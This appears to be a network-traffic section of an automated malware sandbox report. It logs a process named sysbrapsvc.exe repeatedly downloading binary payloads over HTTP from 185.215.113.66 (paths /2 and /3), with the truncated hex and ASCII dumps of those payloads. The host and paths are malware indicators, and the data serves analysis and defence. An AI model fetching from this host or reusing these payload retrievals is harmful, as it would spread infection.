May 8, 2024 15:22:21.824081898 CEST	1289	IN	Data Raw: 34 95 48 63 4a 56 69 1b b6 d0 11 8b 43 3d f9 9b c1 7e ce 35 63 32 b1 a5 bd a2 ce 1d 8c 3c cd 5a 8c 04 19 20 36 cc 80 30 f7 36 0b bb 1c 5d aa ca 75 b1 fb f0 12 10 c5 8d b1 6b da 5c 25 f5 99 66 3a 04 1d 9f 21 83 7b 3f 47 a0 62 23 9e 6d 75 fc 06 13 Data Ascii: 4HcJViC=~5c2<Z 606]uk\%f:!{?Gb#mue/bE)Ac,1_zXGl}J ,AoXu=/Tx;sGP'ZECi\ogb)]>JpA7NdI&"=%}w7a
May 8, 2024 15:22:21.824238062 CEST	1289	IN	Data Raw: 22 ee 51 86 c3 82 42 12 1e 23 94 22 31 32 98 d8 93 42 06 bc 3e ab 5a 7e 1b b2 9c 93 cf ed de db 56 ff d1 9a e8 c0 a3 e2 8c 16 0b 5d 25 0a f3 39 83 b8 8e d5 dc dd 2b 93 5a e8 e1 72 b6 41 ca d0 a8 ce 28 87 51 da 7d bc 57 1f 72 5e d5 40 0c 79 f6 6c Data Ascii: "QB#"12B>Z~V]%9+ZrA(Q}Wr^@yl4~n~uqy7Bk0k32[XOjxLve.BivxU8Qj-S,& fV?X#4J#< ^e\':l}btB
May 8, 2024 15:22:21.824251890 CEST	1289	IN	Data Raw: 14 17 af 0e 52 15 bc 73 cd 28 6c 9d fe 63 14 1c 81 15 ba ea f5 f5 b7 18 2c 57 40 8e 55 0c 7a 93 9e 99 9a 75 58 fb 01 95 7d 90 03 43 86 04 d7 af c7 1e 33 a6 17 c0 a6 8c 9d 26 ea af 5b e0 69 e8 2c 10 54 6a b6 4d be 13 63 30 f7 27 ee 68 6a 25 06 d1 Data Ascii: Rs(lc,W@UzuX}C3&[i,TjMc0'hj%M>V*w=dfcwo$/n7.^Kfy37Iz[VZLF\|%\|s79\"%pNl\Rk-</'HQB14.k-!B>1lZ0_
May 8, 2024 15:22:21.824265957 CEST	1289	IN	Data Raw: 35 03 c6 69 a0 71 ee 00 0e a5 c7 7d 33 36 84 19 87 ec 1d 2d 6e 04 a5 fc 51 32 b5 18 97 f4 6e b2 82 9a bc 7e 2e b5 ce 63 92 99 20 a2 65 9f af 42 2a c0 06 b2 b1 5f 51 05 f2 20 e9 91 74 c6 3b 6d f0 ef ad 0c 15 65 45 32 52 e2 3e b3 a4 99 bd da e9 96 Data Ascii: 5iq}36-nQ2n~.c eB_Q t;meE2R>pLyFU+:&1:PQB\?rumgqeP</;IzfMY;H,bmj{dVT2}-^ZY4]/eVI#/ z?_hX*w
May 8, 2024 15:22:21.824280977 CEST	1289	IN	Data Raw: d8 48 56 8b 5a b8 ab 63 32 07 0b 67 c9 9d d3 d0 75 09 e8 eb e5 85 2b b1 4b 64 12 fb 9c e5 a1 9e 3e 41 f0 08 2b 61 3b be 1e ef f1 0f 7b ff 90 28 db 02 fd 0f f0 e6 ec 08 87 94 5a 41 43 69 77 86 7b 79 28 5c 46 19 4a c0 d4 50 6f 9b 01 a5 ae 12 8d b2 Data Ascii: HVZc2gu+Kd>A+a;{(ZACiw{y(\FJPoc,}-$g.j<+aoeO2(SL=[9HB8[s]YA1A/:FE0xJxUX>IWDWa5PH4(ho%q$qp
May 8, 2024 15:22:21.824366093 CEST	1289	IN	Data Raw: 09 b8 2f 79 14 9d ef 6d 09 77 e2 b2 60 84 e0 9b 45 3b 28 02 15 15 9d ee 50 b6 f6 a2 b9 1c 76 7f f6 8e c3 38 89 c2 df 40 2c 53 36 cd b3 d6 ff 35 7b 9a 79 01 e8 17 61 73 47 03 e2 a4 42 20 5c d3 65 07 0a a3 2b f7 e1 65 81 c9 7e 21 47 71 a8 a8 b3 a3 Data Ascii: /ymw`E;(Pv8@,S65{yasGB \e+e~!GqKw;)+UXd4lseiezy}(<vaSf>_$eRiZ(,MyrL?BtwUYPwTV/cPUfJcrd
May 8, 2024 15:22:21.824378967 CEST	1289	IN	Data Raw: 38 90 ee eb 04 9b f4 3f 3f 31 b6 f4 34 59 eb 6f 0d 53 13 67 d4 a1 dd c3 95 f8 9d 11 aa 8d 8a b2 7f b6 e2 78 a8 ff 57 39 a8 95 52 70 35 c8 b2 cf 61 5e 07 6e c8 61 4d 84 b3 92 7e 9e 09 75 d9 93 53 13 9b ee 06 d3 75 48 e5 df e6 d0 96 53 bb de 81 4a Data Ascii: 8??14YoSgxW9Rp5a^naM~uSuHSJD>K4!o=zxNE:Mpy?WoQ!vP8K(9G(q>.(#7W}UQ.f~MaQz\ztY7Z0}R]O$\"TjEqjZ_
May 8, 2024 15:22:21.824436903 CEST	1289	IN	Data Raw: 3e b9 6e 66 f4 fb b3 e5 57 91 84 03 4d 3c 75 8e d7 b8 2f 54 26 be a9 d1 85 0b 7e d0 0a 77 d7 05 f5 56 ae ed ef 4e de 31 b6 25 1c e8 ca be e4 f9 b8 c4 c6 5f d6 09 b9 e9 43 fa 6f 7e 6e 7e b7 96 64 d5 3c 37 b6 f3 c8 ac fe 60 12 77 27 ea 10 ec 4a 1f Data Ascii: >nfWM<u/T&~wVN1%_Co~n~d<7`w'JCyKx-WO)fZ<eSz1WZoE2}-S:O:yQzt{Dx/Y0_eP#81n]FaBZx4hY4PE~Z#/kdXf
May 8, 2024 15:22:22.169785023 CEST	1289	IN	Data Raw: 8b b3 71 d9 c8 da 74 f5 6d 13 ab 82 5f 0f d7 2a 75 8b dd 33 63 1c b2 7d 94 1e 26 53 ac e2 1f 13 96 62 30 be f6 91 83 88 02 53 ab 64 26 46 78 9c 5f 55 53 4e e7 85 20 bf 19 62 c8 f4 73 7a 7b f7 95 a5 e0 a7 b3 5f af 93 4b f8 e5 09 51 e9 cb 5b 41 72 Data Ascii: qtm_u3c}&Sb0Sd&Fx_USN bsz{_KQ[Ary#<Fc)aH\|!9*kjj?1~_Lc_>c\{LY#w^1d1?2jl&.ln)(An%e{Bj<q=+nG)=W
May 8, 2024 15:22:29.232702017 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:33.659881115 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:33 GMT Content-Type: application/octet-stream Content-Length: 15104 Last-Modified: Wed, 24 Apr 2024 23:21:57 GMT Connection: keep-alive ETag: "66299415-3b00" Accept-Ranges: bytes Data Raw: 4b e8 23 1d 0c 94 79 42 1c 1c 48 97 49 7a 96 f6 a9 d0 37 98 4e 18 a4 bf cd f5 ce 8d 00 4d 6c f6 9f 43 ea c4 50 f3 99 cb 6f 7f 29 ac 33 c1 1e 12 8e 34 8d 95 a7 ea 7c 62 91 62 10 61 f3 ab d4 6a b1 0a 3d 8c 22 70 e0 78 c2 05 ad 0c 8b 93 0b 61 d5 48 27 b5 a2 b1 76 88 94 ff 6e a7 e9 f4 c7 c3 48 3f d7 cf bd f1 a2 8e e1 3f ec 46 4f c8 b8 9d ea b3 ae d7 87 06 73 47 a9 ac 62 e9 fd b0 18 6e 84 ec 0c cc 82 c3 0f 82 5b 02 ec 9d e4 64 88 4f 2c 46 10 a4 dd 63 b7 a7 cf 5a b0 db fe 14 f8 fc 55 50 cc 7c 1d 98 b3 60 c0 ab 71 f8 25 3c 61 53 64 a0 d3 ce 2f 05 a7 f8 76 5a 2c 96 b3 67 78 59 67 17 11 7c b1 fe e0 a8 92 e8 4c 1f 74 26 fa 7b a2 02 92 bd ec 3d 08 ec f4 72 ef a3 d5 25 9e 4d 8d f4 d4 47 a5 08 6f c7 c5 f9 ab c6 e4 bc 48 81 e4 5d 23 c3 79 7c 8c fc ca 58 d2 4c 8c 18 bd e7 fe 22 4a b2 30 ad 4c 30 bd 90 e0 18 d2 77 c0 4a b1 c5 9d 03 c5 97 f3 e7 2d 46 d9 ae 13 86 5f 69 ce 8e 09 a4 95 a5 45 bb 82 e4 74 81 eb d2 3a a2 a1 37 25 c3 bc bd 85 b2 3c 84 47 5f 0e a3 fc ac d5 4b 82 de 1e ec fd 0e df 86 a8 6e 37 43 21 0d cf 8d [TRUNCATED] Data Ascii: K#yBHIz7NMlCPo)34\|bbaj="pxaH'vnH??FOsGbn[dO,FcZUP\|`q%<aSd/vZ,gxYg\|Lt&{=r%MGoH]#y\|XL"J0L0wJ-F_iEt:7%<G_Kn7C!XY={GRsw!0l0[!^irP:X$B(<:&axtQL[y<1:8cJi{Cw)Vx&`[gFkW?(5pnH$~vL%i_oZ4S~R6.0i[y ?JD!sn9a:z^Ee'4G~ULV<`9o8X'.63dd4kiZY!IvK<iH6HmMU>}L&0d{R!A7RZi(";b%Y.0#J2@Bs:g@h{^G<[Y/x6seZ8etZ=N.O`-,STepH7[:wf4kE5)Mm{:<tW;?U`y.E0nk(D}=OLX9i,,a~pYZA/ qD_T.> [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:35.021296024 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:35.386194944 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:35 GMT Content-Type: application/octet-stream Content-Length: 15104 Last-Modified: Wed, 24 Apr 2024 23:21:57 GMT Connection: keep-alive ETag: "66299415-3b00" Accept-Ranges: bytes Data Raw: 4b e8 23 1d 0c 94 79 42 1c 1c 48 97 49 7a 96 f6 a9 d0 37 98 4e 18 a4 bf cd f5 ce 8d 00 4d 6c f6 9f 43 ea c4 50 f3 99 cb 6f 7f 29 ac 33 c1 1e 12 8e 34 8d 95 a7 ea 7c 62 91 62 10 61 f3 ab d4 6a b1 0a 3d 8c 22 70 e0 78 c2 05 ad 0c 8b 93 0b 61 d5 48 27 b5 a2 b1 76 88 94 ff 6e a7 e9 f4 c7 c3 48 3f d7 cf bd f1 a2 8e e1 3f ec 46 4f c8 b8 9d ea b3 ae d7 87 06 73 47 a9 ac 62 e9 fd b0 18 6e 84 ec 0c cc 82 c3 0f 82 5b 02 ec 9d e4 64 88 4f 2c 46 10 a4 dd 63 b7 a7 cf 5a b0 db fe 14 f8 fc 55 50 cc 7c 1d 98 b3 60 c0 ab 71 f8 25 3c 61 53 64 a0 d3 ce 2f 05 a7 f8 76 5a 2c 96 b3 67 78 59 67 17 11 7c b1 fe e0 a8 92 e8 4c 1f 74 26 fa 7b a2 02 92 bd ec 3d 08 ec f4 72 ef a3 d5 25 9e 4d 8d f4 d4 47 a5 08 6f c7 c5 f9 ab c6 e4 bc 48 81 e4 5d 23 c3 79 7c 8c fc ca 58 d2 4c 8c 18 bd e7 fe 22 4a b2 30 ad 4c 30 bd 90 e0 18 d2 77 c0 4a b1 c5 9d 03 c5 97 f3 e7 2d 46 d9 ae 13 86 5f 69 ce 8e 09 a4 95 a5 45 bb 82 e4 74 81 eb d2 3a a2 a1 37 25 c3 bc bd 85 b2 3c 84 47 5f 0e a3 fc ac d5 4b 82 de 1e ec fd 0e df 86 a8 6e 37 43 21 0d cf 8d [TRUNCATED] Data Ascii: K#yBHIz7NMlCPo)34\|bbaj="pxaH'vnH??FOsGbn[dO,FcZUP\|`q%<aSd/vZ,gxYg\|Lt&{=r%MGoH]#y\|XL"J0L0wJ-F_iEt:7%<G_Kn7C!XY={GRsw!0l0[!^irP:X$B(<:&axtQL[y<1:8cJi{Cw)Vx&`[gFkW?(5pnH$~vL%i_oZ4S~R6.0i[y ?JD!sn9a:z^Ee'4G~ULV<`9o8X'.63dd4kiZY!IvK<iH6HmMU>}L&0d{R!A7RZi(";b%Y.0#J2@Bs:g@h{^G<[Y/x6seZ8etZ=N.O`-,STepH7[:wf4kE5)Mm{:<tW;?U`y.E0nk(D}=OLX9i,,a~pYZA/ qD_T.> [TRUNCATED]
May 8, 2024 15:22:35.386343956 CEST	1289	IN	Data Raw: b9 ec 48 5b bc 5c c5 cc 74 49 24 c8 79 28 87 7d 84 00 80 4b 76 48 a4 b5 c0 ff 47 f3 67 e3 7b 80 0f 8a 5f 14 81 b8 50 87 65 ef 85 cb 83 a1 8e f8 3c 60 82 4a 42 41 ed f5 9c d7 f1 6d 7a f0 c4 f6 40 ab 1b b9 0b a9 9f 8f 86 18 c8 d5 0d da 24 be 61 cd Data Ascii: H[\tI$y(}KvHGg{_Pe<`JBAmz@$a3/rB"SGAiD5#kK3"ZKD*6O(!nYA@2o<~&$PeX9As_q\|0GRl'fB3CxjHgxQ\|
May 8, 2024 15:22:35.386382103 CEST	1289	IN	Data Raw: 45 42 8e 2f e3 a5 18 82 da 03 3a a4 b5 2d a1 cc 37 03 69 95 7d 8f 7b 54 01 71 8e c4 3c 1f 9c 2b ad 07 75 d3 bc 03 00 7d 31 8d c5 42 72 2d 6e 86 18 0e 56 a1 80 c2 b6 5e de 4b 38 06 74 de 9d 2e 9f 49 8a 79 ba 55 46 49 9b d6 40 be 1d a1 f4 bd 0f 33 Data Ascii: EB/:-7i}{Tq<+u}1Br-nV^K8t.IyUFI@39^+8"B;cr+=T]*:~uf+]tg]}>F.ez_4:6Mt9Lm`9xtIqMf@&/\|F"PM__SEy`f'`.,c#%
May 8, 2024 15:22:35.386398077 CEST	1289	IN	Data Raw: da 8a 40 49 4a f5 3a 1a df 96 c3 5f 0b 5a fc fe 03 4c f2 79 5f f5 de 80 39 49 a1 18 82 83 a3 40 51 3b 3c fe 6c 6c 94 0c b1 5b bc 8b ed d1 7c 5e c4 2e 4e 83 35 ee 93 1e 6d f3 28 c0 26 4d 8e 20 52 43 de 37 80 2d 91 55 16 b0 af ab 19 02 2f 81 e9 0b Data Ascii: @IJ:_ZLy_9I@Q;<ll[\|^.N5m(&M RC7-U/VgtXt@<d5YK9G_2T.DsTzyH9H<">e6G{R9NzGGtjLT?+&5Ovx[~UY2&Q'de+RB
May 8, 2024 15:22:35.386580944 CEST	1289	IN	Data Raw: 01 e6 18 ad 0b 22 41 6b 9e 7f 93 1a ff da a3 28 22 08 4f 91 02 a2 0e 21 66 5b a8 47 fe a7 74 30 ea 1c 20 8a e3 83 e5 7a 80 18 1d cc 7e 49 21 86 2a 3c 44 43 ea fd 59 98 ca e1 d0 8f b5 75 78 82 8a e2 00 e7 c3 4f c9 1d f5 00 9e 8f 84 bb b8 d7 09 78 Data Ascii: "Ak("O!f[Gt0 z~I!*<DCYuxOx+raM"/t\|^0R)P?r\4=fPv59B?CYfFD9BXP?f=.<b9zjQ]N@0~wz)<;Nxh]lZxAA
May 8, 2024 15:22:35.386668921 CEST	1289	IN	Data Raw: 04 9d 4a 4c 14 24 26 c4 de 87 af 70 f7 9a db c5 37 e1 99 d6 4d 49 6e 3c ca 13 32 ce 4f c8 3d cf 9c 75 f7 39 33 ae d0 e9 2e c3 c1 27 ec 8c 48 eb bc fa 18 f5 35 d4 8d 03 53 8f b5 de 92 1f 06 92 3e 7e 86 5d b9 d8 56 a2 d8 bb 5b a8 f8 24 7c e8 af 89 Data Ascii: JL$&p7MIn<2O=u93.'H5S>~]V[$\|lHU\9UT4,pE.>xUP]&[M8umLoyUv!n<oQ(qsOLTrEkoQ6["xYN*o]82[[]hQk
May 8, 2024 15:22:35.386683941 CEST	1289	IN	Data Raw: 63 4e a9 de 95 aa 2e 7f d9 b7 ec cb 22 f6 3a f9 a9 fd 09 ba af 7a 20 26 53 5c 56 ab b4 12 a3 a3 13 92 a9 a3 b3 b7 88 24 91 fe af b7 4d 6d aa 49 bb 3b db 05 4d dd c1 9a 06 78 f9 2e 80 c3 fd ee c7 0c 12 d1 35 c3 90 49 c3 62 9c f8 2e db 66 5b 23 36 Data Ascii: cN.":z &S\V$MmI;Mx.5Ib.f[#6uSmlBs'T,n{77=gQGvZg}_Tvr_TQ.m@e%1h&UsK{d$kd@BX=j,Txx.Fu)l7HG
May 8, 2024 15:22:35.386698008 CEST	1289	IN	Data Raw: a7 43 34 40 b4 d0 9d 08 a3 50 0a b7 0e 8f 75 5d a1 9d 97 cc 78 60 14 aa 50 49 87 5f 7b ea 4a 4a 04 07 48 74 6f ee a8 f8 7c 95 fb f1 67 17 5a f6 d7 f5 3c 71 da 95 45 63 ef 40 7e 70 a5 c3 5a 0f a0 c5 39 33 03 56 c5 72 f4 e3 ed 18 af cd ae e2 05 fd Data Ascii: C4@Pu]x`PI_{JJHto\|gZ<qEc@~pZ93VrYdDP`<,8TV9qE3aiz840,pNjh,i!QNyWIqg6<H]DF-wT? g
May 8, 2024 15:22:35.386713028 CEST	1289	IN	Data Raw: 8b dc 5d b4 f4 ef ae e9 8f 3d df c4 73 4c a2 43 f5 40 dd b9 c2 9e 4a ef a7 94 46 22 7e eb 9d 07 ef 56 a2 0a 91 2a 3e 19 b0 aa 70 43 27 d6 6e 17 0b 09 a8 fe 7c d8 2b 9f 53 96 84 d4 0e ff 47 5f e5 8b f2 de 76 6c 7c 3f fb 84 77 de 16 ea 81 5a 2f 57 Data Ascii: ]=sLC@JF"~V*>pC'n\|+SG_vl\|?wZ/W>4I(yCg(,)=w6w{lN_D.p{_lt^cp\M?qk$^PRs+J{9{9Tx'0(an_
May 8, 2024 15:22:35.386729002 CEST	1289	IN	Data Raw: 9c f1 66 6e 7b 16 a8 3b cc a9 0c 47 ce e3 93 fd d1 ce 45 51 15 64 a0 9f 8d ee ce b2 f9 a1 2c 7b 24 b5 56 8e 26 03 64 c2 be d2 53 99 5a 89 1a eb 71 e6 8a 6a 4f dd 8a 5f 29 06 34 ae 10 9a 0f b5 2e 71 77 d3 bd 50 59 e2 bf c7 0b ed 0a b9 b6 f0 38 8f Data Ascii: fn{;GEQd,{$V&dSZqjO_)4.qwPY8ZW>j!3 W^aOWAnI90?R+CYwUMvW\u{ZRJXKY'vf?7%D/TH1v:R>$OB%6G"
May 8, 2024 15:22:35.795547962 CEST	1289	IN	Data Raw: cf 2f 9f 00 d6 88 6b aa cc 3c bf 1b 58 09 08 29 f2 9e 1b 4d 03 db b7 da cf 87 ba 63 2d fa 4e 97 8f 36 8e 87 c4 b1 7d 60 4d 1d 39 a5 82 8c 33 69 c1 01 64 ae f2 cc 7e 7b f5 97 a0 ce 47 0a 40 4c 55 28 fa 7a 7e a6 5d ab 44 20 19 20 11 0a 99 8e c4 a8 Data Ascii: /k<X)Mc-N6}`M93id~{G@LU(z~]D F r3F4`e)[T!#~SK*\|hr+hkvoHY=3+et8-}zg[u1!y\EpE(Ou3zC:]baAzaWk
May 8, 2024 15:22:43.432187080 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:43.773205042 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:43 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed, 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 f7 01 b2 60 0c 25 58 36 49 b9 34 23 91 28 4e 72 ab 02 06 2a ee b3 46 54 3e 3a 68 4e 47 4a 0c 37 91 b7 a4 1b 38 a1 9a e0 b0 c4 fe 21 20 44 58 a6 82 6d cd 53 58 f1 3b ac 19 89 a1 3d 8b 90 83 b4 71 ef eb 13 7a 28 73 20 51 f4 00 23 77 f7 2b 57 60 82 4a 56 6a 86 65 65 f4 3b 70 d7 7e e1 94 a3 80 aa 9f 61 33 fa c2 5f 90 b0 88 84 2c b5 14 92 38 68 0a 3a f6 a8 e8 70 3c 63 fa 87 27 43 2b f1 17 2e 48 bc 40 39 94 d5 09 2e 37 61 67 27 e3 d9 d7 11 b1 73 b6 44 ee a1 48 67 ce 3b 0d 47 de 6c 49 99 78 8e 32 06 7e cb 06 99 e2 8b b5 22 65 91 47 ca 9b f4 f8 70 e1 34 32 30 ab 66 24 ff 18 2d 2a ab a4 8e 3e 8f 4e 6f f9 37 ff 23 0c bf fa 23 74 76 8a c0 5b 91 ba 64 3c ba 64 84 a9 8a 05 47 f3 ae 16 c6 d5 ac f8 f2 e3 22 12 89 76 35 e9 23 19 da 63 c6 f6 7c eb 00 02 5d a9 90 93 72 c1 57 89 70 e8 c7 c7 ff 7e f7 25 72 e0 5b 68 5a 13 5f db 38 e3 e0 b0 df b4 6c f2 6c 3f 6c 32 2c 82 bf c0 0e 20 00 01 74 e7 94 6e d0 d7 31 4b fa 19 92 fa 71 85 57 70 41 0d c0 65 20 72 73 20 94 9c e7 af b6 92 a0 3f 21 39 04 9a db [TRUNCATED] Data Ascii: NGS!`%X6I4#(NrFT>:hNGJ78! DXmSX;=qz(s Q#w+W`JVjee;p~a3_,8h:p<c'C+.H@9.7ag'sDHg;GlIx2~"eGp420f$->No7##tv[d<dG"v5#c\|]rWp~%r[hZ_8ll?l2, tn1KqWpAe rs ?!9s,i}G:x} M]:wTU+v@V-7m+j!LqmJmVHiYHq[JG1j\Z+J2[?#fzYV"9(UWIJ's-OW`o0pmRVaj;wm57iWysesZ5{(\|+tDo>DQbd.W}@^=w%}C?2EN4jfi/kOppZ6I$aJ_/028M*J0y!=g[v]c@9d^H2~l(pc-'7JagPYP.mt&/btva}gfu;'Z~[Vn~5RkM@q/:=`:G^'CT<Czv`b=/>&-U\|pjM,/fWO4]9D-\F'bOQW`6sb_ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:45.120923996 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:45.471815109 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:45 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed, 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 f7 01 b2 60 0c 25 58 36 49 b9 34 23 91 28 4e 72 ab 02 06 2a ee b3 46 54 3e 3a 68 4e 47 4a 0c 37 91 b7 a4 1b 38 a1 9a e0 b0 c4 fe 21 20 44 58 a6 82 6d cd 53 58 f1 3b ac 19 89 a1 3d 8b 90 83 b4 71 ef eb 13 7a 28 73 20 51 f4 00 23 77 f7 2b 57 60 82 4a 56 6a 86 65 65 f4 3b 70 d7 7e e1 94 a3 80 aa 9f 61 33 fa c2 5f 90 b0 88 84 2c b5 14 92 38 68 0a 3a f6 a8 e8 70 3c 63 fa 87 27 43 2b f1 17 2e 48 bc 40 39 94 d5 09 2e 37 61 67 27 e3 d9 d7 11 b1 73 b6 44 ee a1 48 67 ce 3b 0d 47 de 6c 49 99 78 8e 32 06 7e cb 06 99 e2 8b b5 22 65 91 47 ca 9b f4 f8 70 e1 34 32 30 ab 66 24 ff 18 2d 2a ab a4 8e 3e 8f 4e 6f f9 37 ff 23 0c bf fa 23 74 76 8a c0 5b 91 ba 64 3c ba 64 84 a9 8a 05 47 f3 ae 16 c6 d5 ac f8 f2 e3 22 12 89 76 35 e9 23 19 da 63 c6 f6 7c eb 00 02 5d a9 90 93 72 c1 57 89 70 e8 c7 c7 ff 7e f7 25 72 e0 5b 68 5a 13 5f db 38 e3 e0 b0 df b4 6c f2 6c 3f 6c 32 2c 82 bf c0 0e 20 00 01 74 e7 94 6e d0 d7 31 4b fa 19 92 fa 71 85 57 70 41 0d c0 65 20 72 73 20 94 9c e7 af b6 92 a0 3f 21 39 04 9a db [TRUNCATED] Data Ascii: NGS!`%X6I4#(NrFT>:hNGJ78! DXmSX;=qz(s Q#w+W`JVjee;p~a3_,8h:p<c'C+.H@9.7ag'sDHg;GlIx2~"eGp420f$->No7##tv[d<dG"v5#c\|]rWp~%r[hZ_8ll?l2, tn1KqWpAe rs ?!9s,i}G:x} M]:wTU+v@V-7m+j!LqmJmVHiYHq[JG1j\Z+J2[?#fzYV"9(UWIJ's-OW`o0pmRVaj;wm57iWysesZ5{(\|+tDo>DQbd.W}@^=w%}C?2EN4jfi/kOppZ6I$aJ_/028M*J0y!=g[v]c@9d^H2~l(pc-'7JagPYP.mt&/btva}gfu;'Z~[Vn~5RkM@q/:=`:G^'CT<Czv`b=/>&-U\|pjM,/fWO4]9D-\F'bOQW`6sb_ [TRUNCATED]
May 8, 2024 15:22:45.471865892 CEST	1289	IN	Data Raw: 28 55 b0 14 8d 25 75 01 4e 4d c0 61 ac 41 b4 b2 02 db 28 1b 34 b9 e4 3d 5a ba a7 41 58 c9 72 51 09 58 06 57 a5 6a 1d a6 dc db 3c 54 91 a4 f0 53 ee c7 b4 4c 31 29 c9 3b 7d 28 06 68 a2 46 ea 8f 96 45 61 a0 bd ec 9d 9e b3 9f b9 6f db 99 91 9e cc ab Data Ascii: (U%uNMaA(4=ZAXrQXWj<TSL1);}(hFEao@@s3poh[Z6~E7Y\YdQ87$>/v2/'jIA*i$ZtBa4PdG5KQ^(,q{:)CYd;}U:
May 8, 2024 15:22:45.471915960 CEST	1289	IN	Data Raw: 73 80 0b b2 b8 b4 ed b4 ec 6c 6e 29 64 94 41 b8 c2 5b fe a0 26 a2 02 7f 86 2b d0 b5 9d 1b c4 eb 99 d1 84 a5 c4 9b e4 4a 3f ae 54 38 64 fd 73 7b bc b0 b7 f7 35 22 98 66 d9 e0 9c 2c 14 4c 63 dd 51 30 2a 35 e5 bd c5 71 38 09 82 3b 49 c8 cb 06 d7 be Data Ascii: sln)dA[&+J?T8ds{5"f,LcQ0*5q8;IW5F_E,`uvybARUBv@5:{sU~wLFy~I3z?>Twh,GY(@5D?39wne5Fud!Ji
May 8, 2024 15:22:45.471930027 CEST	1289	IN	Data Raw: c4 bb 2d ef 3e bc d7 cf 85 b5 61 42 c9 31 64 7b 11 00 a5 c9 ec bc 34 06 66 4e 0f 74 8f 73 02 53 34 4b 68 9c c2 bc c8 87 b4 4d 97 89 8e b7 7d ce 64 8b 08 fe a7 b9 04 ca a1 ad e8 0e 46 11 2f 0b 88 83 36 8f a2 c3 5b d6 10 ae bb 3d d8 38 cf 91 4f ed Data Ascii: ->aB1d{4fNtsS4KhM}dF/6[=8O^b$/lb8nfD;AzN=O'F+~gV#q((%d]d!E)xJ:.Ku[_ofLVQiGA*x
May 8, 2024 15:22:45.471982956 CEST	1289	IN	Data Raw: 47 61 a6 d7 8b e2 18 06 d4 a0 0f 77 f1 a8 b0 18 f4 e7 aa e1 f4 10 d3 6c 24 a6 92 4a 95 43 61 2d 33 b6 ea 6c 67 db 6c f1 95 8b c3 ca 0a d3 82 4b 20 b2 2c 8a 71 ed 28 57 22 b0 3e cf fd 51 37 9e 01 db db 71 df 58 6e e1 04 c1 79 7e b7 1d e7 32 64 68 Data Ascii: Gawl$JCa-3lglK ,q(W">Q7qXny~2dhr.1N5dN]YIZ]svq\|1bT0T2L>Kk`]H4X"kD/e6o[&/RcKT_N`MGmtocl;-EH-t JbB
May 8, 2024 15:22:45.471997023 CEST	1289	IN	Data Raw: 19 15 22 5a d7 57 6d 08 b4 ae a5 2d 9c 05 b2 e7 76 a1 88 d8 95 a0 92 12 78 8c 9e 84 bb 25 c3 0e ea 62 c0 e8 67 46 ce f2 85 e2 86 aa 56 e3 03 22 c9 e8 1c d4 fd 1d f3 66 d5 d2 6e a9 8f db d2 fb 8e 6c 5a 7c e2 ea 43 e3 75 e5 ab 3a 6b 8b 08 76 b5 e4 Data Ascii: "ZWm-vx%bgFV"fnlZ\|Cu:kvG\Cd!9s$Wvbc{Lz4p%+2&m=J LE9Kl64H"~c/`J'tSy
May 8, 2024 15:22:45.472104073 CEST	1289	IN	Data Raw: cf ac a7 be eb 73 e4 d3 ed 5b 03 72 0a 74 77 67 b8 06 90 b3 68 26 cd 09 26 77 da e1 de 04 4a 31 c4 2a f5 4e d0 17 74 d1 64 56 8a 35 52 8e a2 c2 49 84 cb d5 ba 8a de 29 c8 64 33 1d ea 1f 9d 54 a4 dc a7 44 ad 90 58 ad 3d ed d8 e9 11 8b bf 96 37 2b Data Ascii: s[rtwgh&&wJ1NtdV5RI)d3TDX=7+_TDxdMT&J&XhG0{lwY]u</08I}F?yJxis}{2?FqiI]'Vv0KK'C_`B/E$=k5\$8
May 8, 2024 15:22:45.472141981 CEST	1289	IN	Data Raw: 18 ea 62 90 fb d4 85 d0 ad 0c ca 89 b2 53 60 05 7d 76 96 c6 1b 11 21 ee b4 7a fb 80 51 ed f3 ab 53 d4 03 87 1e e5 51 de b5 72 0c 29 40 27 ef fe 36 61 96 0b 02 9b d9 49 77 04 7e 0b be 98 bd b5 4e 86 ad 27 41 28 99 57 26 9d c5 79 01 3f 69 69 0b 0e Data Ascii: bS`}v!zQSQr)@'6aIw~N'A(W&y?iiz$X2Wq&44o#H<uwV5pWv;}]rxsi3}'/_:4!0EUD7H\l9B-uLr3%3)"iKYw_3b1!]/
